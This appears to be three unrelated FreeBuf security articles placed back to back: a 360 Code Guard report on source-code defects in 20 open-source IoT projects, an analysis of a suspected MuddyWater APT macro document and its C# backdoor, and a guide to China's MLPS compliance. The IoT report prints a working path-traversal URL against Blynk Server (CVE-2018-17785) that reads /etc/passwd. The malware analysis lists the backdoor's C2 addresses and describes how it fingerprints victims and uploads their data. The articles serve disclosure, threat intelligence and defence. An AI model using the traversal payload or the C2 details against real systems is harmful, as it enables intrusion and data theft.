本期报告选取全球20款知名物联网软件进行源代码安全缺陷分析,结合缺陷分析工具和人工审计的结果,评估项目的安全性。从测评结果来看,与往期其他领域开源软件相比,物联网类软件的安全缺陷较多,潜在的安全问题不容忽视。同时,技术人员随机抽取安全缺陷进行人工利用,发现存在能够被证实的安全漏洞,通过漏洞能够获取物联网云端服务器权限,一旦该漏洞被黑客利用,则存在物联网设备被远程操纵的安全风险。

二、被测开源软件

综合考虑用户数量、受关注程度以及更新频率等情况,选取了20款具有代表性的物联网类开源软件。表1列出了本次被测的开源物联网软件项目的概况,项目按照Github上Star的数量降序排列。本次检测的软件涵盖了C、C++、Java、JavaScript(JS)等编程语言。这些开源软件项目都是国际知名的,拥有广泛用户的软件项目,其中不乏由知名软件公司开发的软件。由于这些软件大多具有巨大的用户群体,软件中的安全缺陷很可能会造成严重的后果。

表1 被测开源软件项目概览

项目名称 版本号 主要编程语言 功能说明 代码行数 Github star
Serverless master JS 使用无服务器架构构建Web、移动、物联网应用的框架 20,150 26,124
Node-RED master JS 用于连接物联网的可视化工具 100,840 6,447
JerryScript V1.0 C 用于物联网的超轻量级JavaScript引擎 97,559 3,223
ArduinoJson V5.13.4 C++ 物联网的JSON库 27,583 3,078
POCO V1.9.0 C++ 支持桌面、服务器、移动、物联网、嵌入式系统上的联网应用开发的跨平台的C++函数库 526,721 2,929
CrateDB master Java 一个分布式SQL数据库,可以轻松实时存储和分析大量机器数据 314,984 2,131
ThingsBoard master Java 一个用于数据收集、处理、可视化和设备管理的物联网平台 112,704 1,987
RIOT 2018.10 C 支持常见物联网设备的实时、多线程的操作系统 1,341,539 1,979
Blynk Library V0.5.4 C++ 嵌入式硬件的Blynk库。Blynk是一个物联网应用平台,旨在简化物联网的移动或者Web应用构建。 17,206 1,831
IoT.js master JS 使用JavaScript的物联网平台 42,910 1,826
OpenThread V2.0.0 C++ OpenThread是Thread网络协议的开源实现 661,696 1,713
Blynk Server V0.39.6 Java 基于Netty的Java Server,主要用于在Blynk移动应用和嵌入式设备之间传递消息。 75,555 1,097
Kaa master Java 开源中间件平台,用于构建、管理和集成联网的产品和设备 461,511 984
MySensors V2.3.0 C++ 专注于提供智能居家和物联网的DIY服务 17,788 871
SmartHome master Java 智能家居的灵活框架 801,053 745
OpenIoT develop Java 物联网中间件的基础架构,用于支撑联网设备的数据采集、流量清洗、事件处理算法的灵活配置和部署 269,387 369
Freedomotic V5.6.0 Java 开放物联网框架 259,708 258
Link Kit SDK V2.3.0 C 阿里云物联网套件 56,384 257
SiteWhere master Java 一个面向物联网的工业级开源应用支持平台 216,796 235
IotXmpp master Java 基于XMPP的安卓客户端,实现与物联网节点的交互 130,607 118

三、测试内容

3.1 安全缺陷种类

本次测试涵盖各类常见安全缺陷。根据缺陷形成的原因、被利用的可能性、造成的危害程度和解决的难度等因素进行综合考虑,可以将常见的安全缺陷分为八类:

1、输入验证

输入验证与表示问题通常是由特殊字符、编码和数字表示所引起的,这类问题的发生是由于对输入的信任所造成的。这些问题包括:缓冲区溢出、跨站脚本、SQL注入、命令注入等。

2、API使用

API是调用者与被调用者之间的一个约定,大多数的API误用是由于调用者没有理解约定的目的所造成的。当使用API不当时,也会引发安全问题。

3、安全特性

该类别主要包含认证、访问控制、机密性、密码使用和特权管理等方面的缺陷。

4、并行计算

线程和进程之间的交互及执行任务的时间顺序往往由共享的状态决定,如信号量、变量、文件系统等。与分布式计算相关的缺陷包括竞态条件、阻塞误用等。

5、错误和异常处理

这类缺陷与错误和异常处理有关,最常见的一种缺陷是没有恰当的处理错误(或者没有处理错误)从而导致程序运行意外终止,另一种缺陷是产生的错误给潜在的攻击者提供了过多信息。

6、代码质量

低劣的代码质量会导致不可预测的行为。对于攻击者而言,低劣的代码使他们可以以意想不到的方式威胁系统。常见的该类别缺陷包括死代码、空指针解引用、资源泄漏等。

7、封装和隐藏

合理的封装意味着区分校验过和未经检验的数据,区分不同用户的数据,或区分用户能看到和不能看到的数据等。常见的缺陷包括隐藏域、信息泄漏、跨站请求伪造等。

8、代码运行环境

该类缺陷是源代码之外的问题,例如运行环境配置问题、敏感信息管理问题等,它们对产品的安全仍然是至关重要的。

前七类缺陷与源代码中的安全缺陷相关,它们可以成为恶意攻击的目标,一旦被利用会造成信息泄露、权限提升、命令执行等严重后果。最后一类缺陷描述实际代码之外的安全问题,它们容易造成软件的运行异常、数据丢失等严重问题。

3.2 安全缺陷级别

我们将源代码的安全问题分为三种级别:高危(High)、中等(Medium)和低(Low)。衡量级别的标准包括两个维度,置信程度(confidence)和严重程度(severity)。置信程度是指发现的问题是否准确的可能性,比如将每个strcpy()调用都标记成缓冲区溢出缺陷的可信程度很低。严重程度是指假设测试技术真实可信的情况下检出问题的严重性,比如缓冲区溢出(buffer overflow)通常是比空指针引用(null pointer dereference)更严重的安全问题。将这两个因素综合起来可以准确的为安全问题划分级别,如图1所示。

IoT 报告图片1.png

图1 缺陷级别与严重程度、置信程度的关系

四、开源物联网软件项目的安全缺陷情况

本部分首先展示从被测项目中检出安全缺陷的数量,由此对被测项目的安全性进行大致的评估。然后进一步讨论被测项目中安全缺陷的分布情况,了解项目中出现较多的、容易被忽略的安全问题。

4.1 安全缺陷情况概览

本部分展示被测项目查出缺陷的数量,由此对被测项目的安全性进行大致的评估。图2分别展示了项目不同级别缺陷的数量,并按照高危缺陷数量对项目进行了排序,图中用蓝色折线图展示了每千行代码包含缺陷数,红色折线图为项目在Github上的star的数量。

IoT 2.jpg

图2 开源软件项目缺陷情况

从中可以看出,本次选取的物联网类开源软件都存在不同程度的安全问题。本次检测从这些项目中总计发现高危缺陷667个,中危缺陷3702个。缺陷数量排名靠前的项目处于极易被攻击者利用的状态,实际使用者需通过安装补丁或者更新版本的方式进行修复和升级。

在所有被测软件中,物联网应用平台Blynk的函数库Blynk Library的安全性最高(无高危缺陷,有3个中危缺陷)。物联网应用框架Serverless、物联网开发JS平台IoT.js、物联网实时操作系统RIOT的缺陷总数较少,总体安全性较高。

物联网中间件基础架构平台OpenIoT在本次被测的20款软件里高危缺陷居多,包含370个高危缺陷和669个中危缺陷。其中,包括556个输入验证类缺陷,其中283个缺陷为跨站脚本问题(高危),344处资源未释放问题(中危),提示该项目应加强对安全缺陷的管理,特别是加强对来自信任边界之外的用户输入的过滤和验证;同时,应进一步提升代码质量,避免攻击者利用资源泄露的问题发起拒绝服务攻击。

中高危缺陷总数最多的是联网应用开发函数库POCO,包含1个高危缺陷,和1380个中危缺陷。其中,项目被检测出748处“将比特位数不同的操作数进行位运算”、300处“使用了不安全的内存拷贝函数”、234处“在对字符类型比较时未明确其符号属性”问题。这些问题会降低程序的稳定性和可移植性,可能会导致程序发生非预期的行为,同时也增加了安全隐患。建议项目的开发者提升安全意识,可在开发过程中使用代码缺陷扫描工具提升代码质量和安全性。

考虑到项目的绝对缺陷数量可能与项目大小相关,因此本报告计算了每千行缺陷数,用该数据反映缺陷在项目中的分布密度。根据该数据,物联网实时操作系统RIOT每千行缺陷数仅为0.002,平均每10万行代码出现1个以下的中高危缺陷,为本次被测软件中安全缺陷密度最低的被测项目。此外,代码安全缺陷密度较低的项目有物联网应用框架Serverless、物联网开发JS平台IoT.js,这些项目平均每一万行代码出现1个以下的中高危缺陷。安全缺陷分布密度相对较高的项目是物联网DIY工具MySensors(6.97)、物联网中间件基础架构平台OpenIoT(3.79)、物联网的JS引擎JerryScript(3.53),这些项目平均每一千行代码中就会出现数个中高危缺陷。

4.2 高危安全缺陷分布情况

本部分对高危缺陷的分布情况进行分析说明。图3展示了被测项目高危缺陷大类的分布情况。数据表明,绝大多数缺陷为“输入验证”类缺陷,该类缺陷主要是由于对用户输入未做充分验证导致的,易造成缓冲区溢出、路径遍历、跨站脚本及各类注入缺陷,一旦攻击者构造恶意输入,可能造成任意命令执行、任意文件读取等严重安全问题。

IoT 3.jpg

图3 被测项目中高危安全缺陷的分布情况(按大类划分)

图4进一步展示了被测项目中各种具体的高危安全缺陷的分布情况。为方便展示,将出现不超过10次的缺陷统一归入“其他”,主要包括越界访问(9个)、硬编码密码(6个)等问题。在被测的20个项目中,出现较多的几类具体缺陷依次是跨站脚本(488个)、路径遍历(76个)和SQL注入(53个)。由于本期被测软件主要为物联网应用开发框架,提供物联网服务器端服务,这些缺陷将极大的提升服务器被攻击者获取控制权的风险,从而导致物联网设备被恶意操控、用户个人隐私泄露的风险。

IoT 4.png

图4 被测项目中高危安全缺陷的分布情况(按具体缺陷划分)

4.3 安全缺陷总体分布情况

上文针对被测项目中的高危缺陷的检出情况对项目的安全状况进行了分析。通常来说,与高危缺陷相比,中危缺陷在实际运行环境中的危害相对较小,但仍不容忽视,且能在一定程度上反映出项目的代码质量、开发人员对代码安全问题的重视程度等。为了更全面的了解被测项目的安全状况,本节进一步展示包括中危缺陷在内的安全缺陷的总体分布情况。

图5展示了被测项目中安全缺陷大类的分布情况。与高危级别的缺陷分布情况相比,代码质量类、API使用类缺陷占比大幅提升。项目中存在大量的“不当的位运算”、“不当的字符比较”、“资源未释放”、“使用不安全的函数”等问题,集中反映出开发者的不良编程习惯。与输入验证类问题相比,这类问题被攻击者利用的门槛相对较高,但一旦被利用,仍然会发生拒绝服务、执行任意命令等严重风险。

IoT 5.jpg

图5 被测项目中的中高危安全缺陷的分布情况(按大类划分)

表2进一步展示了被测项目中的各种具体的中高危安全缺陷的分布情况。由于本次被检测出的缺陷数量较大,共出现了85种中高危缺陷,为方便阅读,仅在表中列出出现50次以上的缺陷种类。

表2 被测项目中的中高危安全缺陷的分布情况

(按具体安全缺陷种类划分)

中高危缺陷种类 出现频次
将比特位数不同的操作数进行位运算 1,076
跨站脚本 571
资源未释放 562
不安全的内存拷贝函数 352
不当的字符类型比较 256
空指针解引用 157
不安全的字符串处理函数 132
路径遍历 98
SQL注入 97
Servlet的线程安全问题 90
XML外部实体注入 90
隐私泄漏 63
不当的格式化字符串 62
硬编码密码 53
未经检查的循环条件 52

五、本年度项目安全横向对比

本部分将本期被测的物联网类软件项目与本年度往期被测的人工智能类、开发框架类软件从平均每千行缺陷数的角度进行了横向对比。

IoT 6.jpg

图6 2018年度不同领域被测软件每千行缺陷数对比

如图6所示,物联网类的软件安全缺陷密度较高,从某种程度上反应出智能设备制造商的安全意识相对薄弱,提示物联网类开发者应加强对代码安全性的重视,并切实采取手段提升软件安全性。

六、缺陷验证情况

对于本次检测出的安全缺陷,报告编制组随机抽取缺陷进行人工利用,发现存在能够被证实的安全漏洞,本部分以Blynk Server路径遍历漏洞为例进行说明。Blynk Server是物联网服务器端组件,主要用于在Blynk移动应用和嵌入式设备之间传递消息。

IoT 7.jpg

图7 Blynk Server(版本0.39.6)路径遍历漏洞获取文件截图

图7展示了存在问题的代码片段,代码直接读取用户输入的URI(188行),未做任何验证和过滤就直接进行文件读取(210行),使得用户可通过“../”实现对服务器文件系统的路径遍历,从而可以获取任意文件内容。例如,如图8所示,通过URL“/static/js/../../../../../../../../etc/passwd”即可获得系统账户文件等敏感内容。由于Blynk Server主要用于在移动应用与物联网设备的微控制面板之间传递消息,因此一旦攻击者获取了服务器权限,将能够截获所有来自物联网设备的消息,从而导致物联网设备所有者的个人隐私泄露问题;此外,攻击者也能够通过篡改、操控发送至物联网设备的指令,实现对物联网设备的远程操控。

该漏洞得到了Blynk Server开发者确认,并获得了CVE确认(CVE-2018-17785),该漏洞在0.39.13及之后的版本中得到修复。建议软件的使用者尽快更新到最新版本,以避免不必要的安全风险。

IoT 8.jpg

图8 Blynk Server(版本0.39.6)路径遍历漏洞获取文件截图

七、关于本报告的说明

本报告仅从代码角度进行缺陷分析。本报告中统计的缺陷是指由于代码编写不规范导致的有可能被攻击者利用的安全隐患。在实际系统中,由于软件实际部署环境、安全设备等的限制,部分缺陷可能无法通过渗透测试得到验证。

本报告中的缺陷仅适用于表1中列出的特定软件版本。当软件版本有任何更新、修改和优化时,本报告不再适用。

本报告由360代码卫士团队提供部分技术支持。

*本文作者:360代码卫士,转载请注明来自 FreeBuf.COM

简介

MuddyWater是疑似来自伊朗的APT组织,主要攻击目标为中东地区政府机构,但在近期的公开报告中显示,18年后,中东以外的地区也陆续出现了Muddywater的活动迹象,比如土耳其,巴基斯坦等地。

该组织最早于2017年9月被MalwareBytes公开披露,同年11月paloalto披露针对中东的攻击,并将该组织命名为MuddyWater,之后活动踪迹开始被国内外安全机构公开披露,详情请看参考链接。

MuddyWater使用诱惑性的鱼叉文档作为攻击入口,引导用户启用宏,利用宏释放后续后续Pyload进行攻击,在早期报道中,MuddyWater主要使用powershell后门。最近卡巴称已发现有VBS,VBA, PowerShell, VBS, VBA, Python,c#等脚本后门以及RAT木马。

简单TTP

根据公开情报,绘制MuddyWater简单TTP如下:

项目类型 内容
组织名称 MuddyWater
攻击目标 中东政府机构,土耳其,巴基斯坦等
曝光时间 2017年9月国外安全公司MalwareBttes披露,11月paloalto正式命名为MuddyWater。
攻击平台 PC
攻击入口 鱼叉邮件,主要是带宏的office文档
恶意代码实现 主要以powershell后门为主

样本分析

前几日,360威胁情报中心披露疑似MuddyWater的新攻击样本

疑似MuddyWater最新攻击活动分析

到目前还没有该样本的具体分析报告,所以笔者在网上找到了该样本并予以分析。

样本信息

2-Merve_Cooperation_CV.doc样本名称:2-Merve_Cooperation_CV.doc

样本MD5:8899c0dac9f6bb73ce750ae7b3250dbd

样本来源:公开网络来源

分析环境

调试工具:dnspy

分析环境:win7 32 虚拟机

样本分析

2-Merve_Cooperation_CV.doc

与MuddyWater之前的样本类似,该样本也是宏利用样本,并带有模糊的图片,不过似乎该样本在编写时有些问题,导致无法运行,会显示宏编译过程过大,无法运行。

疑似MuddyWater最新攻击活动分析

这儿笔者直接将宏拷贝出来,静态分析,由于样本无法进行调试,笔者只能猜测大概行为,看这个lki数组有大量数据,猜测是会执行该段数据。

疑似MuddyWater最新攻击活动分析

经分析发现,该段数据以50 4B开头,正好是压缩包的头,故将数组数据保存,用7z解压,得到如下所示文件

疑似MuddyWater最新攻击活动分析

GoogleUpdate.exe

该可执行文件是一个c#后门,后续主要功能已包括,所以主要分析该文件

在%appdata%目录下创建\\Windows\\Microsoft\\FrameWork4目录

疑似MuddyWater最新攻击活动分析

获取计算机用户名,磁盘虚拟号,经base64编码后,把编码后的数据去除“=”“+”生成受害者唯一id

疑似MuddyWater最新攻击活动分析

之后开始进入死循环上线流程

疑似MuddyWater最新攻击活动分析

首先通过google检测网络的连接性

疑似MuddyWater最新攻击活动分析

之后从temp_gh_12.dat读取解码出网络地址,从该地址下获取之后的c2

疑似MuddyWater最新攻击活动分析

之后以”c2?root=随机字符” 形式连接获取字符串,若从c2获取的字符与硬编码的”wYbaej5avYrFb”相等,则将该c2作为后续c2

疑似MuddyWater最新攻击活动分析

解码执行执行一段powershell代码获取计算机用户,用户所在的组,已安装应用,ip等信息

疑似MuddyWater最新攻击活动分析

获取计算机id,用户名,ip等信息,base64加密后保存到%appdata%\\Windows\Microsoft\FrameWork4\id_bW1fRDIyM0I1QjI”中,并将该文件上传到c2

疑似MuddyWater最新攻击活动分析

若c2返回为true,则退出第一轮上线死循环,进入后续命令分发死循环中

疑似MuddyWater最新攻击活动分析

该样本只支持上传文件,下载文件两种功能

疑似MuddyWater最新攻击活动分析

IOC

https://www.jsonstore.io/4de4d6d84d17638b3cd0eaf18857784aff27501be7d3dd89fad2b7ac2134f52e

http://shopcloths.ddns.net/users.php?

http://getgooogle.hopto.org/users.php?

#联

虽然这次宏利用样本后续是c#后门,不是MudddyWater常用的powershell后门,但根据其宏代码,以及诱饵文档内容等都与MuddyWater手法类似,且360威胁情报中心都披露了,那应该是没跑了。以下是一些与MuddyWater相似的代码

设置启动项:

疑似MuddyWater最新攻击活动分析宏代码:

疑似MuddyWater最新攻击活动分析

总结

近年来,威胁情报越发的火爆,各类APT组织也陆续被国内外安全厂商披露,MuddyWater作为17年就被披露的组织,非但没有停止攻击,反而越发的动作频繁,从最初的针对中东地区,到现在的各个地区都出现了该组织的活动迹象,且该组织似乎异常高调,在卡巴斯基的年度报告下,muddywater似乎嫌卡巴将其排名放在后面,还在报告下评论,如下图所示

Snipaste_2019-01-15_18-49-36.png参考:

https://www.freebuf.com/articles/web/165061.html

https://www.colabug.com/4902862.html

https://securelist.com/muddywater/88059/

*本文作者:fuckgod,本文属 FreeBuf原创奖励计划,未经许可禁止转载。

*本文原创作者:jin16879,本文属FreeBuf原创奖励计划,未经许可禁止转载

一   前言

前期为大家分享了一篇等保活动中「安全管理机构」的测评经验,有朋友看后发私信建议我出个系列文章,在下不敢,圈内大牛如云,在下不敢放肆,只能将多年的安全工作经验总结出来,分享给感兴趣的朋友,如果能给这些朋友的工作提供一点点帮助,那是对我文章最大的肯定。秉着抛砖引玉的心态,这期就为大家分享等保活动中「关键活动」建设的经验,望各位朋友多多指教。

500450166_wx.jpg

关键活动——顾名思义,就是在一系列活动中最为重要的且必须要完成的活动,在等级保护工作中,关键活动是安全防护工作的重中之重,是确保等级保护是否顺利通过的关键之处,也是为企业安全提供较高保护关键工作。在等级保护中,关键活动往往定义为高危,一旦遭受破坏,则会对企业造成较大的损害。

二   关键活动建设

关键活动往往贯穿整个安全建设工作,包含物理安全方面、网络安全方面、应用安全方面、主机安全方面等,每个方面对关键活动的实现标准也不同,我现以第三方测评角度就等级保护中的关键活动做一个总结,以及应该如何来实施关键活动的防护措施,不足之处请各位大佬多多指教。 

三   物理安全关键活动

物理安全的活动主要有物理位置选择、物理访问控制、防盗窃和放破坏、防雷击、防火、防水和防潮、防静电、温湿度控制、电力供应、电磁防护,其中电力供应属于关键活动,具体说下: 

 1)电力供应

 活动要求

Ø c) 应设置冗余或并行的电力电缆线路为计算机系统供电。

Ø d) 应建立备用供电系统。

实现建议

根据等保要求,物理安全中电力需要多重保障。这项活动有个特别简单的实现方式,就是部署 UPS 和柴油发电机,两者缺一不可。不过也有部分企业是采用的两条不同的电源线路,这也是可以的。

四   网络安全关键活动

网络安全的活动主要有结构安全、访问控制、安全审计、边界完整性检查、入侵防范、恶意代码防护、网络设备防护。每项活动都属于关键活动,需要企业一一实现。

1)结构安全

活动要求

Ø a) 应保证主要网络设备的业务处理能力具备冗余空间,满足业务高峰期需要;

实现建议

等保要求主要网络设备要具备冗余空间,一般我们可以认为核心交换机、负载均衡、核心主机等设备要满足冗余部署模式,另外带宽也是要考虑在内的。还有在企业安全建设工作中,我一般也会建议边界防火墙也采用冗余部署。

 活动要求

Ø c) 应在业务终端与业务服务器之间进行路由控制建立安全的访问路径;

实现建议

一般来说,安全的访问路径是指不允许业务终端在没有任何安全防护的措施下直接访问业务服务器,可以在两者之间部署防火墙设备进行控制,也可以在通过管理域进行设备访问跳转,并开启审计策略,两种实现方式都可以。

 活动要求

Ø e) 应根据各部门的工作职能、重要性和所涉及信息的重要程度等因素,划分不同的子网或网段,并按照方便管理和控制的原则为各子网、网段分配地址段。

实现建议

相信大多数企业这一条都是能做到的,很简单,就是划分子网,现在一般是在交换机上来实现的。不过本人也遇到过部分企业,网络结构特别简单,就部署了一个集线器,应用系统和终端都在一个网段,安全意识不太强,这种情况是不符合的。

 2)访问控制

活动要求

Ø b) 应能根据会话状态信息为数据流提供明确的允许/拒绝访问的能力,控制粒度为端口级。

实现建议

这一项关键活动主要是靠防火墙来实现,粒度要具体到某一端口或者某一具体协议。当然也可以用交换机 ACL 来实现,在测评过程中,这两种形式都可认定为符合。

 活动要求

Ø c) 应对进出网络的信息内容进行过滤,实现对应用层 HTTP、 FTP、TELNET、SMTP、 POP3 等协议命令级控制。

实现建议

这一条的要求就是不管是哪些设备、哪些应用、哪些主机,都不能采用未加密的传输协议进行传输,特别是在运维过程中,应当采用 SSH 进行运维,不能采用 telnet 协议。

3)安全审计

活动要求

Ø a) 应对网络系统中的网络设备运行状况、网络流量、用户行为等进行日志记录。

实现建议

这一项活动可以采用部署软硬件的监控工具,网络流量和用户行为可以部署网管软件、堡垒机、日志分析软件等方式来实现,网络设备运行状况可以部署 zabbix 或其他监控工具来实现,方式比较多。

4)边界完整性检查

活动要求

Ø a) 应能够对非授权设备私自联到内部网络的行为进行检查,准确定出位置,并对其进行有效阻断。

Ø b) 应能够对内部网络用户私自联到外部网络的行为进行检查,准确定出位置,并对其进行有效阻断。

实现建议

这一项的要求比较明确,就是内设外联、外设内联的监控,即不允许未授权的设备连接到内网,也不允许内网设备私自连接外网,可以通过部署准入控制系统进行控制,也可以安装桌面安全管理系统,开启设备「违规外联」的功能,另外也要使用 IP/MAC 绑定等辅助措施,基本就能做到有效的安全防护了。有些企业可能有 wifi,在这种情况下,要一定将 wifi 进行分区管理,并同时进行 wifi 接入认证。

5)入侵防范

活动要求

Ø a) 应在网络边界处监视以下攻击行为:端口扫描、强力攻击、木马后门攻击、拒绝服务攻击、缓冲区溢出攻击、IP 碎片攻击和网络蠕虫攻击等。

实现建议

讲实在话,这一条要实现起来比较麻烦,要同时实现这么多安全防护是不太现实的,所以尽可能实现就行了,一般建议部署 IPS/IDS、防毒墙等设备,当然有些企业是部署的那种 UTM 设备,这种设备看起来是各个危害都做了防御,但其实效果并不会很理想。不过下一代防火墙会效果要好很多。

6)恶意代码防范

活动要求

Ø a)应在网络边界处对恶意代码进行检测和清除。

实现建议

这一项的重点是在「网络边界、检测、清除」三个词,有些企业认为只要部署了杀软,就算达到要求,这是不对的,较好的办法是在边界处部署防毒墙产品。

7)网络设备防护

活动要求

Ø d) 主要网络设备应对同一用户选择两种或两种以上组合的鉴别技术来进行身份鉴别;

Ø e) 身份鉴别信息应具有不易被冒用的特点,口令应有复杂度要求并定期更换;

实现建议

这就是我们内常说的双因素验证,哪些算是呢,第一是基于我们知道的,第二是基于我们拥有的,第三是基于个人生物特征的,三种当中任选两种都是可以的,比如说口令加手机验证码,或者口令加物理 key,机房方面可以是门禁卡加指纹,都是可以的,值得注意的是如果使用口令,需要增加口令策略。

主要网络设备一般是指什么呢,相信大家应该都知道,比如核心交换机、日志服务器、核心主机、管理主机等,当然各个企业也可以根据自身情况各自认定。

五   主机安全关键活动

主机安全的关键活动有身份鉴别、访问控制、安全审计、剩余信息保护、入侵防范、恶意代码防范、资源控制,其中身份鉴别、访问控制、安全审计、入侵防范、恶意代码防范属于关键活动,具体如下:

1)身份鉴别

活动要求

Ø b) 操作系统和数据库系统管理用户身份标识应具有不易被冒用的特点,口令应有复杂度要求并定期更换。

实现建议

本条要求就是主机的口令要有一定的复杂度,并定期更换,就设置口令策略来控制。当然另外也应该修改默认的管理用户账号,禁用默认的账号,安全防护度就会更高。

活动要求

Ø d) 当对服务器进行远程管理时,应采取必要措施,防止鉴别信息在网络传输过程中被窃听。

实现建议

这个就是要禁用一些未加密的网络传输协议,如 FTP、TELNET、RDP 等。

活动要求

Ø f)应采用两种或两种以上组合的鉴别技术对管理用户进行身份鉴别。

实现建议

和网络安全关键活动中 7d 同样的方法,采用双因素认证模式。

2)访问控制

活动要求

Ø c)应实现操作系统和数据库系统特权用户的权限分离。

实现建议

要确保操作系统和数据库系统管理员不是同一自然人,将两者权限分离。

活动要求

Ø f)对重要信息资源设置敏感标记。

Ø g)应依据安全策略严格控制用户对有敏感标记重要信息资源的操作。

实现建议

这两条的要求就是要对用户权限进行分级管理,对敏感的信息进行标记,设置用户权限对照表,并根据用户权限表对用户进行授权。

3)安全审计

活动要求

Ø a) 审计范围应覆盖到服务器和重要客户端上的每个操作系统用户和数据库用户。

Ø b) 应能够根据记录数据进行分析,并生成审计报表。

实现建议

这一条的要求就是审计的范围,包括每个操作系统用户和数据库用户,开启本地安全策略—审计策略功能。要想达到更好的效果就可以部署日志审计系统和数据库审计系统,在企业安全建设工作中,审计工作是重中之重,必不可少。值得注意的是,在等保 2.0 中并不会有 b) 这一项要求。

4)入侵防范

活动要求

Ø b)应能够对重要程序的完整性进行检测,并在检测到完整性受到破坏后具有恢复的措施。

实现建议

要对重要程序进行完整性检测,并具有恢复措施。很多第三方安全工具都有这种功能,比如桌面安全管理系统。将重要文件纳入完整性监控范围,并进行对比校验,这一项实现起来不难。

5)恶意代码防范

活动要求

Ø a)应安装防恶意代码软件,并及时更新防恶意代码软件版本和恶意代码库。

实现建议

安装正版杀软或者桌面安全管理工具。值得注意的是,杀软或者桌面安全管理工具要具有统一管理的功能,要能够及时更新恶意代码库。

六  应用安全关键活动

应用安全活动主要包含身份鉴别、访问控制、安全审计、剩余信息保护、通信完整性、通信保密性、抗抵赖、软件容错、资源控制,其中身份鉴别、访问控制、安全审计、软件容错属于关键活动,具体如下:

1)身份鉴别

活动要求

Ø b) 应对同一用户采用两种或两种以上组合的鉴别技术实现用户身份鉴别;

Ø c) 应提供用户身份标识唯一和鉴别信息复杂度检查功能,保证应用系统中不存在重复用户身份标识,身份鉴别信息不易被冒用;

实现建议

和网络安全关键活动中 7d 同样的方法,采用双因素认证模式,应用系统应开发口令策略功能模板,并启用口令策略,确保口令复杂度。

2)访问控制

活动要求

Ø d) 应授予不同帐户为完成各自承担任务所需的最小权限,并在它们之间形成相互制约的关系;

Ø e) 应具有对重要信息资源设置敏感标记的功能;

实现建议

和主机安全关键活动中 2f、2g 一样,要设置敏感标记功能,并授予不同账号最小服务权限。详细说来就是要设置普通用户、管理用户、审计用户。进行三权分离。

3)安全审计

活动要求

Ø d) 应提供对审计记录数据进行统计、查询、分析及生成审计报表的功能。

实现建议

审计活动前面说的比较多了,不在赘述,但有一点值得注意的是,等保 2.0 中并不会要求具有生产审计报表的功能要求。

4)软件容错

活动要求

Ø a) 应提供数据有效性检验功能,保证通过人机接口输入或通过通信接口输入的数据格式或长度符合系统设定要求;

实现建议

软件容错这一项是非常重要的,稍不注意往往就会造成 sql 注入攻击、XSS 跨站攻击、逻辑漏洞攻击等危害,这项活动主要是从软件设计、代码编写等方面去考虑。值得注意的是,等保 2.0 中没有这一项测评活动,但增加了可信验证测评项,大体上要求是一致的。

七   数据安全及备份恢复

在等保 1.0 中,这一方面并没有高危项,但并不代表这一方面不重要,这方面其实也有关键活动,我在后面的篇幅里面会说到。

八   等保 2.0 中可能增加的关键活动

在等保 1.0 中,关键活动的大类不多,但细数下来,具体到测评项,大概就有几十项,要全部实现,还是非常麻烦的,这需要大量的资金投入与专业人才保障。而等保 2.0 中,除了 1.0 中大部分的关键活动,还增加了一些关键活动,因等保 2.0 还没有正式实施,我现根据多年安全工作经验在这里做个关键活动预测,供大家参考,具体如下:

个人信息保护

在个人信息泄露越来越严重的今天,对个人信息的保护亟不可待,国家和各行业也多次发布相关要求、条例来说明个人信息保护工作,同时网络安全法中也特别提到个人信息的内容,所以,我预测个人信息保护 将会是等保 2.0 的关键活动。

集中管控

等保 2.0 中单独提出了安全管理中心这一大类,毫不夸张的说,如果这都不是关键活动,那就没天理了,而在这项活动建设时要使用加密方式进行远程管理,部署综合网管系统,部署综合审计系统,部署集中防病毒系统、补丁管理系统,部署安全事件识别、报警和分析系统等等,这些都是属于集中管控的要求。

可信验证

在等保 2.0 技术部分中,除了安全物理环境以外,安全通信网络、安全区域边界、安全计算环境、安全管理中心都提到了可信验证,不得不说,这一项成为关键活动的可能性非常大。

以上三项是个人认为的可能在 2.0 阶段成为关键活动的工作,共大家参考,也希望大家能提出不同看法,共同讨论。

九   总结

正如前文所说,关键活动是等级保护中非常重要的活动,是必不可少的活动。关键活动包含哪些,现总结如下:

电力供应、结构安全、访问控制、安全审计、身份鉴别、边界完整性检查、入侵防范、恶意代码防范、网络设备防护、软件容错、个人信息保护(2.0)、集中管控(2.0)、可信验证(2.0)。

企业在进行网络安全建设工作时,这些方面应该要着重建设,当然企业网络安全建设工作也不能完全依靠关键活动,应该从各个方面进行防护。

*本文原创作者:jin16879,本文属FreeBuf原创奖励计划,未经许可禁止转载